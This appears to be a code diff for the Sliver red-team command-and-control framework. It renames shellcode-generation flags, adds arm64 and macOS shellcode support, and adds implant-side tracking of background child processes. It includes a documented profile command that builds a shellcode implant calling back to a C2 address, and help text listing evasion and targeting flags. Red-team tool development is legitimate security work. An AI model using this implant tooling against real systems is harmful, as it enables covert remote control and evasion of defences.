--donut-bypass 1|2|3 # Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||
--donut-headers 1|2 # PE headers: 1=overwrite (default), 2=keep
|
||||
--donut-thread 0|1 # Unmanaged EXE: run entrypoint as a new thread (default 0)
|
||||
--donut-unicode 0|1 # Unmanaged DLL: pass Unicode command line (default 0)
|
||||
--donut-oep <uint32> # Override original entry point (0=default)
|
||||
[[.Bold]][[.Underline]]++ Shellcode Options ++[[.Normal]]
|
||||
When generating shellcode (--format shellcode), you can tune the shellcode generator:
|
||||
--shellcode-encoder <name|none> # Apply a shellcode encoder (see: shellcode-encoders)
|
||||
--shellcode-compress # Enable aPLib compression (windows and macOS)
|
||||
--shellcode-entropy 1|2|3 # (windows only) Entropy: 1=none (default), 2=random names, 3=random+encrypt
|
||||
--shellcode-exitopt 1|2|3 # (windows only) Exit behavior: 1=exit thread (default), 2=exit process, 3=block
|
||||
--shellcode-bypass 1|2|3 # (windows only) Bypass: 1=none, 2=abort on failure, 3=continue (default)
|
||||
--shellcode-headers 1|2 # (windows only) PE headers: 1=overwrite (default), 2=keep
|
||||
--shellcode-thread # (windows only) Unmanaged EXE: run entrypoint as a new thread
|
||||
--shellcode-unicode # (windows only) Unmanaged DLL: pass Unicode command line
|
||||
--shellcode-oep <uint32> # (windows only) Override original entry point (0=default)
|
||||
|
||||
|
||||
[[.Bold]][[.Underline]]++ DNS Canaries ++[[.Normal]]
|
||||
|
||||
@@ -30,6 +30,8 @@ func normalizeShellcodeArch(arch string) string {
|
||||
return "amd64"
|
||||
case "386", "x86", "i386":
|
||||
return "386"
|
||||
case "arm64", "aarch64":
|
||||
return "arm64"
|
||||
default:
|
||||
return normalized
|
||||
}
|
||||
|
||||
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
}
|
||||
|
||||
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.BoolP("output", "o", execReq.Output, "capture command output")
|
||||
f.Bool("background", execReq.Background, "start the process in the background and track it")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
|
||||
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
|
||||
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
|
||||
|
||||
execCmd := &cobra.Command{Use: constants.ExecuteStr}
|
||||
execCmd.Flags().AddFlagSet(f)
|
||||
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
|
||||
|
||||
exec.PrintExecute(execResult, execCmd, con)
|
||||
|
||||
case sliverpb.MsgExecuteChildrenReq:
|
||||
execChildren := &sliverpb.ExecuteChildren{}
|
||||
err := proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode task response: %s\n", err)
|
||||
return
|
||||
}
|
||||
exec.PrintExecuteChildren(execChildren, con)
|
||||
|
||||
case sliverpb.MsgSideloadReq:
|
||||
sideload := &sliverpb.Sideload{}
|
||||
err := proto.Unmarshal(task.Response, sideload)
|
||||
|
||||
@@ -208,8 +208,9 @@ const (
|
||||
GetGIDStr = "getgid"
|
||||
WhoamiStr = "whoami"
|
||||
|
||||
ShellStr = "shell"
|
||||
ExecuteStr = "execute"
|
||||
ShellStr = "shell"
|
||||
ExecuteStr = "execute"
|
||||
ExecuteChildrenStr = "children"
|
||||
|
||||
LsStr = "ls"
|
||||
MvStr = "mv"
|
||||
|
||||
@@ -40,7 +40,8 @@ func ArmoryInstallForm(options []ArmoryInstallOption) (*ArmoryInstallFormResult,
|
||||
Title("Select packages or bundles to install").
|
||||
Description("Use space to select and enter to install.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||
Height(listHeight(len(selectOptions)) + 2).
|
||||
Value(&result.SelectedNames)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
|
||||
@@ -39,7 +39,8 @@ func ArmoryUpdateForm(options []ArmoryUpdateOption) (*ArmoryUpdateFormResult, er
|
||||
Title("Select updates to apply").
|
||||
Description("Use space to select and enter to apply.").
|
||||
Options(selectOptions...).
|
||||
Height(listHeight(len(selectOptions))).
|
||||
// huh.MultiSelect Height includes title/description, so add 2 lines for them.
|
||||
Height(listHeight(len(selectOptions)) + 2).
|
||||
Value(&result.SelectedIDs)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field))
|
||||
|
||||
@@ -64,6 +64,8 @@ func commonFormatOptions(goos string) []huh.Option[string] {
|
||||
huh.NewOption("Service", "service"),
|
||||
huh.NewOption("Shellcode", "shellcode"),
|
||||
)
|
||||
} else if goos == "darwin" {
|
||||
options = append(options, huh.NewOption("Shellcode", "shellcode"))
|
||||
}
|
||||
return options
|
||||
}
|
||||
|
||||
@@ -2,13 +2,14 @@ package forms
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"slices"
|
||||
"strings"
|
||||
|
||||
"github.com/charmbracelet/huh"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
const defaultSelectHeight = 10
|
||||
const defaultSelectHeight = 5
|
||||
|
||||
func getTerminalWidth() int {
|
||||
// Try to get actual terminal width
|
||||
@@ -93,7 +94,8 @@ func MultiSelect(title string, options []string, value *[]string) error {
|
||||
field := huh.NewMultiSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
// huh.Select/MultiSelect Height includes title/description, so add 1 for the title line.
|
||||
Height(listHeight(len(options)) + 1).
|
||||
Value(value)
|
||||
|
||||
form := huh.NewForm(huh.NewGroup(field)).WithWidth(getTerminalWidth())
|
||||
@@ -115,7 +117,8 @@ func selectPrompt(title string, options []string, value *string, required bool)
|
||||
field := huh.NewSelect[string]().
|
||||
Title(title).
|
||||
Options(makeStringOptions(options)...).
|
||||
Height(listHeight(len(options))).
|
||||
// huh.Select Height includes title/description, so add 1 for the title line.
|
||||
Height(listHeight(len(options)) + 1).
|
||||
Value(value)
|
||||
|
||||
if required {
|
||||
@@ -147,10 +150,8 @@ func ensureSelectedValue(options []string, value *string) {
|
||||
*value = options[0]
|
||||
return
|
||||
}
|
||||
for _, option := range options {
|
||||
if option == *value {
|
||||
return
|
||||
}
|
||||
if slices.Contains(options, *value) {
|
||||
return
|
||||
}
|
||||
*value = options[0]
|
||||
}
|
||||
|
||||
@@ -33,21 +33,21 @@ Name Platform Command & Control Debug Format
|
||||
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
|
||||
```
|
||||
|
||||
You can tune Donut options for Windows shellcode profiles:
|
||||
You can tune shellcode options for shellcode profiles (Windows: Donut):
|
||||
|
||||
- `--donut-entropy`: 1=none, 2=random names, 3=random+encrypt
|
||||
- `--donut-compress`: enable/disable aplib compression (boolean)
|
||||
- `--donut-exitopt`: 1=exit thread, 2=exit process, 3=block
|
||||
- `--donut-bypass`: 1=none, 2=abort on failure, 3=continue
|
||||
- `--donut-headers`: 1=overwrite, 2=keep
|
||||
- `--donut-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
|
||||
- `--donut-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
|
||||
- `--donut-oep`: override original entry point (uint32, 0=default)
|
||||
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt
|
||||
- `--shellcode-compress`: enable/disable aPLib compression (boolean)
|
||||
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block
|
||||
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue
|
||||
- `--shellcode-headers`: 1=overwrite, 2=keep
|
||||
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean)
|
||||
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean)
|
||||
- `--shellcode-oep`: override original entry point (uint32, 0=default)
|
||||
|
||||
Example:
|
||||
|
||||
```
|
||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode --donut-entropy 2 --donut-compress --donut-exitopt 3 win-shellcode
|
||||
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
|
||||
```
|
||||
|
||||
We can now create a staging listener and link it to the profile:
|
||||
|
||||
@@ -138,7 +138,7 @@
|
||||
[14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[14.182566, "o", "\u001b[0 q\r\n"]
|
||||
[14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
|
||||
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
|
||||
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
|
||||
[14.200627, "o", " http(s) connection strings\r\n -X, --key-exchange uint32 wg key-exchange port (default 1337)\r\n -w, --limit-datetime string limit execution to before datetime\r\n -x, --limit-domainjoined limit execution to domain joined machines\r\n -F, --limit-fileexists string limit execution to hosts with this file in the filesystem\r\n -z, --limit-hostname string limit execution to specified hostname\r\n -L, --limit-locale string limit execution to hosts that match this locale\r\n -y, --limit-username string limit execution to specified username\r\n -k, --max-errors uint32 max number of connection errors (default 1000)\r\n -m, --mtls string mtls connection strings\r\n -N, --name string agent name\r\n -p, --named-pipe string named-pipe connection strings\r\n -q, --netgo force the use of netgo\r\n -o, --os string operating system (default \"windows\")\r\n -P, --poll-timeout int long poll request timeout (d"]
|
||||
[14.201749, "o", "efault 360)\r\n -j, --reconnect int attempt to reconnect every n second(s) (default 60)\r\n -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)\r\n -s, --save string directory/file to the binary to\r\n -l, --skip-symbols skip symbol obfuscation\r\n -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n -T, --tcp-comms uint32 wg c2 comms port (default 8888)\r\n -i, --tcp-pivot string tcp-pivot connection strings\r\n -I, --template string implant code template (default \"sliver\")\r\n -A, --traffic-encoders string comma separated list of traffic encoders to enable\r\n -g, --wg string wg connection strings\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
|
||||
[14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
@@ -623,7 +623,7 @@
|
||||
[44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
|
||||
[44.608789, "o", "\u001b[0 q\r\n"]
|
||||
[44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
|
||||
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
|
||||
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
|
||||
[44.630687, "o", "\r\n"]
|
||||
[44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
|
||||
[44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
|
||||
|
||||
@@ -161,6 +161,14 @@ else
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / encoders / shellcode / arm64
|
||||
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
|
||||
:
|
||||
else
|
||||
cat ~/.sliver/logs/sliver.log
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# server / gogo / goname
|
||||
if go test -tags=server,$TAGS ./server/gogo/goname ; then
|
||||
:
|
||||
|
||||
@@ -30,7 +30,7 @@ require (
|
||||
github.com/google/uuid v1.6.0
|
||||
github.com/gorilla/mux v1.8.1
|
||||
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/hashicorp/yamux v0.1.2
|
||||
github.com/jedib0t/go-pretty/v6 v6.7.8
|
||||
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
|
||||
github.com/klauspost/compress v1.18.1
|
||||
@@ -47,6 +47,7 @@ require (
|
||||
github.com/reeflective/readline v1.1.4
|
||||
github.com/rsteube/carapace v0.50.2
|
||||
github.com/sirupsen/logrus v1.9.3
|
||||
github.com/sliverarmory/beignet v0.0.2
|
||||
github.com/sliverarmory/wasm-donut v0.0.3
|
||||
github.com/spf13/cobra v1.10.2
|
||||
github.com/spf13/pflag v1.0.10
|
||||
@@ -275,7 +276,7 @@ require (
|
||||
github.com/mdlayher/socket v0.5.1 // indirect
|
||||
github.com/mitchellh/go-ps v1.0.0 // indirect
|
||||
github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
|
||||
github.com/moloch--/go-keystone v0.0.2 // indirect
|
||||
github.com/moloch--/go-keystone v0.0.2
|
||||
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
|
||||
github.com/muesli/cancelreader v0.2.2 // indirect
|
||||
github.com/muesli/termenv v0.16.0 // indirect
|
||||
|
||||
@@ -423,6 +423,8 @@ github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplb
|
||||
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
|
||||
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
|
||||
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
|
||||
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
|
||||
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
|
||||
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
|
||||
@@ -661,8 +663,8 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
|
||||
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
|
||||
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
|
||||
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
|
||||
github.com/sliverarmory/wasm-donut v0.0.2 h1:XAiV5MxDhSqnq4J45dZEM4u9JIN5aI1enhqNjiFGdtM=
|
||||
github.com/sliverarmory/wasm-donut v0.0.2/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
|
||||
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
|
||||
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
|
||||
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
|
||||
@@ -1096,5 +1098,3 @@ software.sslmate.com/src/go-pkcs12 v0.4.0 h1:H2g08FrTvSFKUj+D309j1DPfk5APnIdAQAB
|
||||
software.sslmate.com/src/go-pkcs12 v0.4.0/go.mod h1:Qiz0EyvDRJjjxGyUQa2cCNZn/wMyzrRJ/qcDXOQazLI=
|
||||
tailscale.com v1.92.5 h1:h88HqtGk8jd9umF7l6m/8+QK69dY9IVMIlkNK9XYpvQ=
|
||||
tailscale.com v1.92.5/go.mod h1:jzTfKDd6XNNSNoX+Q9INIMpMU5rfZ9g8ojcAoMKi5w0=
|
||||
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
|
||||
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
|
||||
@@ -0,0 +1,204 @@
|
||||
package handlers
|
||||
|
||||
import (
|
||||
"os"
|
||||
"os/exec"
|
||||
"sort"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
maxTrackedExecuteChildren = 256
|
||||
)
|
||||
|
||||
type executeChildEntry struct {
|
||||
PID int32
|
||||
Path string
|
||||
Args []string
|
||||
Stdout string
|
||||
Stderr string
|
||||
StartTime int64
|
||||
|
||||
Exited bool
|
||||
ExitCode int32
|
||||
ExitTime int64
|
||||
Error string
|
||||
|
||||
cmd *exec.Cmd
|
||||
}
|
||||
|
||||
var (
|
||||
executeChildrenMu sync.RWMutex
|
||||
trackedExecuteChildren = map[int32]*executeChildEntry{}
|
||||
)
|
||||
|
||||
func trimTrackedExecuteChildrenLocked() {
|
||||
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
|
||||
return
|
||||
}
|
||||
|
||||
// Prefer trimming completed entries first, oldest exit time first.
|
||||
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
|
||||
for _, entry := range trackedExecuteChildren {
|
||||
if entry.Exited {
|
||||
exited = append(exited, entry)
|
||||
}
|
||||
}
|
||||
sort.Slice(exited, func(i, j int) bool {
|
||||
return exited[i].ExitTime < exited[j].ExitTime
|
||||
})
|
||||
|
||||
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
|
||||
delete(trackedExecuteChildren, exited[0].PID)
|
||||
exited = exited[1:]
|
||||
}
|
||||
}
|
||||
|
||||
func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
|
||||
var (
|
||||
stdoutFile *os.File
|
||||
stderrFile *os.File
|
||||
err error
|
||||
)
|
||||
|
||||
startTime := time.Now().Unix()
|
||||
|
||||
if stdoutPath != "" {
|
||||
stdoutFile, err = os.Create(stdoutPath)
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
cmd.Stdout = stdoutFile
|
||||
}
|
||||
if stderrPath != "" {
|
||||
stderrFile, err = os.Create(stderrPath)
|
||||
if err != nil {
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
cmd.Stderr = stderrFile
|
||||
}
|
||||
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
if stderrFile != nil {
|
||||
stderrFile.Close()
|
||||
}
|
||||
return 0, err
|
||||
}
|
||||
|
||||
var pid int32
|
||||
if cmd.Process != nil {
|
||||
pid = int32(cmd.Process.Pid)
|
||||
}
|
||||
|
||||
if track && pid != 0 {
|
||||
entry := &executeChildEntry{
|
||||
PID: pid,
|
||||
Path: path,
|
||||
Args: append([]string(nil), args...),
|
||||
Stdout: stdoutPath,
|
||||
Stderr: stderrPath,
|
||||
StartTime: startTime,
|
||||
cmd: cmd,
|
||||
}
|
||||
executeChildrenMu.Lock()
|
||||
trackedExecuteChildren[pid] = entry
|
||||
trimTrackedExecuteChildrenLocked()
|
||||
executeChildrenMu.Unlock()
|
||||
}
|
||||
|
||||
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
|
||||
waitErr := cmd.Wait()
|
||||
|
||||
exitCode := int32(0)
|
||||
waitErrStr := ""
|
||||
if waitErr != nil {
|
||||
if exitErr, ok := waitErr.(*exec.ExitError); ok {
|
||||
exitCode = int32(exitErr.ExitCode())
|
||||
} else {
|
||||
exitCode = -1
|
||||
waitErrStr = waitErr.Error()
|
||||
}
|
||||
}
|
||||
|
||||
if track && pid != 0 {
|
||||
executeChildrenMu.Lock()
|
||||
entry := trackedExecuteChildren[pid]
|
||||
if entry != nil {
|
||||
entry.Exited = true
|
||||
entry.ExitCode = exitCode
|
||||
entry.ExitTime = time.Now().Unix()
|
||||
entry.Error = waitErrStr
|
||||
entry.cmd = nil
|
||||
}
|
||||
executeChildrenMu.Unlock()
|
||||
}
|
||||
|
||||
if stdoutFile != nil {
|
||||
stdoutFile.Close()
|
||||
}
|
||||
if stderrFile != nil {
|
||||
stderrFile.Close()
|
||||
}
|
||||
}(pid, cmd, stdoutFile, stderrFile, track)
|
||||
|
||||
return pid, nil
|
||||
}
|
||||
|
||||
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
|
||||
executeChildrenMu.RLock()
|
||||
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
|
||||
for _, entry := range trackedExecuteChildren {
|
||||
children = append(children, &sliverpb.ExecuteChild{
|
||||
Pid: entry.PID,
|
||||
Path: entry.Path,
|
||||
Args: append([]string(nil), entry.Args...),
|
||||
StartTime: entry.StartTime,
|
||||
Exited: entry.Exited,
|
||||
ExitCode: entry.ExitCode,
|
||||
ExitTime: entry.ExitTime,
|
||||
Stdout: entry.Stdout,
|
||||
Stderr: entry.Stderr,
|
||||
Error: entry.Error,
|
||||
})
|
||||
}
|
||||
executeChildrenMu.RUnlock()
|
||||
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
return children
|
||||
}
|
||||
|
||||
func executeChildrenHandler(data []byte, resp RPCResponse) {
|
||||
req := &sliverpb.ExecuteChildrenReq{}
|
||||
err := proto.Unmarshal(data, req)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("error decoding message: %v", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
|
||||
execChildren := &sliverpb.ExecuteChildren{
|
||||
Children: snapshotExecuteChildren(),
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
data, err = proto.Marshal(execChildren)
|
||||
resp(data, err)
|
||||
}
|
||||
@@ -1181,7 +1181,7 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
}
|
||||
}
|
||||
|
||||
if execReq.Output {
|
||||
if execReq.Output && !execReq.Background {
|
||||
stdOutBuff := new(bytes.Buffer)
|
||||
stdErrBuff := new(bytes.Buffer)
|
||||
stdErr = stdErrBuff
|
||||
@@ -1242,19 +1242,14 @@ func executeHandler(data []byte, resp RPCResponse) {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
}
|
||||
} else {
|
||||
err = cmd.Start()
|
||||
if err != nil {
|
||||
pid, startErr := startExecuteChild(cmd, execReq.Background, exePath, execReq.Args, execReq.Stdout, execReq.Stderr)
|
||||
if startErr != nil {
|
||||
execResp.Response = &commonpb.Response{
|
||||
Err: fmt.Sprintf("%s", err),
|
||||
Err: fmt.Sprintf("%s", startErr),
|
||||
}
|
||||
}
|
||||
|
||||
go func() {
|
||||
cmd.Wait()
|
||||
}()
|
||||
|
||||
if cmd.Process != nil {
|
||||
execResp.Pid = uint32(cmd.Process.Pid)
|
||||
if pid != 0 {
|
||||
execResp.Pid = uint32(pid)
|
||||
}
|
||||
}
|
||||
data, err = proto.Marshal(execResp)
|
||||
|
||||
@@ -33,25 +33,26 @@ import (
|
||||
|
||||
var (
|
||||
darwinHandlers = map[uint32]RPCHandler{
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
pb.MsgPsReq: psHandler,
|
||||
pb.MsgTerminateReq: terminateHandler,
|
||||
pb.MsgPing: pingHandler,
|
||||
pb.MsgLsReq: dirListHandler,
|
||||
pb.MsgDownloadReq: downloadHandler,
|
||||
pb.MsgUploadReq: uploadHandler,
|
||||
pb.MsgCdReq: cdHandler,
|
||||
pb.MsgPwdReq: pwdHandler,
|
||||
pb.MsgRmReq: rmHandler,
|
||||
pb.MsgMkdirReq: mkdirHandler,
|
||||
pb.MsgMvReq: mvHandler,
|
||||
pb.MsgCpReq: cpHandler,
|
||||
pb.MsgIfconfigReq: ifconfigHandler,
|
||||
pb.MsgExecuteReq: executeHandler,
|
||||
pb.MsgExecuteChildrenReq: executeChildrenHandler,
|
||||
pb.MsgEnvReq: getEnvHandler,
|
||||
pb.MsgSetEnvReq: setEnvHandler,
|
||||
pb.MsgUnsetEnvReq: unsetEnvHandler,
|
||||
pb.MsgChtimesReq: chtimesHandler,
|
||||
pb.MsgGrepReq: grepHandler,
|
||||
|
||||
pb.MsgScreenshotReq: screenshotHandler,
|
||||
pb.MsgNetstatReq: netstatHandler,
|
||||
|
||||
@@ -34,23 +34,24 @@ import (
|
||||
|
||||
var (
|
||||
genericHandlers = map[uint32]RPCHandler{
|
||||
sliverpb.MsgPing: pingHandler,
|
||||
sliverpb.MsgLsReq: dirListHandler,
|
||||
sliverpb.MsgDownloadReq: downloadHandler,
|
||||
sliverpb.MsgUploadReq: uploadHandler,
|
||||
sliverpb.MsgCdReq: cdHandler,
|
||||
sliverpb.MsgPwdReq: pwdHandler,
|
||||
sliverpb.MsgRmReq: rmHandler,
|
||||
sliverpb.MsgMkdirReq: mkdirHandler,
|
||||
sliverpb.MsgMvReq: mvHandler,
|
||||
sliverpb.MsgCpReq: cpHandler,
|
||||
sliverpb.MsgExecuteReq: executeHandler,
|
||||
